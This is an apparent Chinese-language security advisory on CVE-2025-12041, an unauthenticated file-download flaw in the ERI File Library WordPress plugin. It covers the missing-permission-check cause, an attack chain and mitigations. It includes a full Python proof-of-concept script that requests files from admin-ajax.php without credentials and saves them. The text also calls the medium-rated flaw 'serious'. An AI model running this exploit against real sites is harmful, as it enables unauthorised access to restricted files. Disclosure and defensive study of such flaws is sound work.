IPBUF安全漏洞报告
English
CVE-2025-12041 CVSS 5.3 中危

CVE-2025-12041 WordPress ERI File Library未授权文件下载漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-12041
漏洞类型
越权访问/不安全的直接对象引用(IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ERI File Library plugin for WordPress

相关标签

CVE-2025-12041WordPress插件漏洞越权访问IDOR未授权文件下载Broken Access ControlAJAX漏洞ERI File LibraryWordPress安全CVSS 5.3

漏洞概述

CVE-2025-12041是WordPress ERI File Library插件中的一个严重安全漏洞。该插件是一款用于在WordPress网站上管理文件下载的插件,版本最高至1.1.0。漏洞根源在于插件对'erifl_file'AJAX动作缺少权限检查,导致任何未认证的用户都可以通过发送特定的AJAX请求来下载原本仅限于特定用户角色才能访问的文件。此漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别,攻击者无需任何身份凭证即可利用此漏洞获取敏感文件内容,可能导致敏感数据泄露,包括但不限于配置文件、数据库凭证、用户个人信息等。由于该漏洞利用简单且无需认证,对公网暴露的WordPress站点构成了较大的安全风险。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的技术根源在于WordPress AJAX处理机制中的权限验证缺失。在WordPress插件开发中,AJAX动作通常需要使用wp_ajax_和wp_ajax_nopriv_前缀来注册处理程序,其中wp_ajax_nopriv_允许未登录用户执行AJAX请求。ERI File Library插件注册了erifl_file AJAX动作来处理文件下载请求,但未正确实施权限检查。具体问题包括:1) 使用wp_ajax_nopriv_erifl_file注册了允许未认证用户访问的AJAX端点;2) 处理函数直接接受用户传入的文件ID或路径参数而未验证当前用户是否具有访问该文件的权限;3) 未使用current_user_can()或类似函数验证用户角色和权限。攻击者可以通过构造POST请求到wp-admin/admin-ajax.php,端点参数action=erifl_file,并提供目标文件标识符来直接下载受限文件。由于缺乏CSRF token验证,该漏洞还可被用于组合攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress站点并确认安装了ERI File Library插件(版本≤1.1.0)
STEP 2
步骤2
攻击者构造恶意AJAX请求,POST到/wp-admin/admin-ajax.php,设置action参数为'erifl_file'
STEP 3
步骤3
攻击者提供file_id参数指定目标文件ID,无需任何认证凭据或CSRF token
STEP 4
步骤4
服务器端插件处理请求,由于缺少current_user_can()权限检查,直接返回受限文件内容
STEP 5
步骤5
攻击者接收到文件内容,可能包含敏感配置信息、用户数据或其他受限资源
STEP 6
步骤6
攻击者利用获取的敏感信息进行进一步攻击,如横向移动、权限提升或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12041 PoC - ERI File Library Unauthenticated File Download Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/16e1d37a-4eb7-45dc-8993-a501fb2aaf73 """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" # File ID to download - enumerate or guess based on plugin behavior FILE_ID = 1 def exploit_unauthenticated_file_download(): """ Exploit the missing capability check on erifl_file AJAX action. Unauthenticated users can download files restricted to specific roles. """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Construct the malicious request data = { "action": "erifl_file", "file_id": FILE_ID # File identifier - can be enumerated } print(f"[*] Sending request to {endpoint}") print(f"[*] Target: {TARGET_URL}") print(f"[*] File ID: {FILE_ID}") try: # Send POST request without authentication response = requests.post(endpoint, data=data, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Headers: {dict(response.headers)}") # Check if file was returned if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'application' in content_type or 'text' in content_type or 'octet-stream' in content_type: print("[+] VULNERABLE! File download successful without authentication") print(f"[+] Content-Length: {response.headers.get('Content-Length', 'Unknown')}") # Save the downloaded content with open(f"downloaded_file_{FILE_ID}", "wb") as f: f.write(response.content) print(f"[+] File saved as: downloaded_file_{FILE_ID}") return True print("[-] File download may have failed or file not accessible") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(): """ Check if target is vulnerable by testing the AJAX endpoint. """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Test with invalid action first to confirm AJAX is working test_data = {"action": "erifl_file", "file_id": 999999} try: response = requests.post(endpoint, data=test_data, timeout=10) # If we get a response (not 403/404), the endpoint exists if response.status_code not in [403, 404]: print("[*] AJAX endpoint is accessible") print(f"[*] Response: {response.text[:200]}") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print("=" * 60) print("CVE-2025-12041 PoC - ERI File Library IDOR Vulnerability") print("=" * 60) if check_vulnerability(): exploit_unauthenticated_file_download() else: print("[-] Target may not be vulnerable or not reachable")

影响范围

ERI File Library plugin for WordPress <= 1.1.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 使用Web应用防火墙(WAF)规则阻止对wp-admin/admin-ajax.php的erifl_file请求;2) 临时禁用ERI File Library插件直到完成升级;3) 通过.htaccess或Nginx配置限制对敏感文件的直接访问;4) 实施基于IP的访问限制;5) 监控日志中的异常AJAX请求模式。同时建议审查插件目录下的文件权限,确保即使文件被下载也不会造成严重后果。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表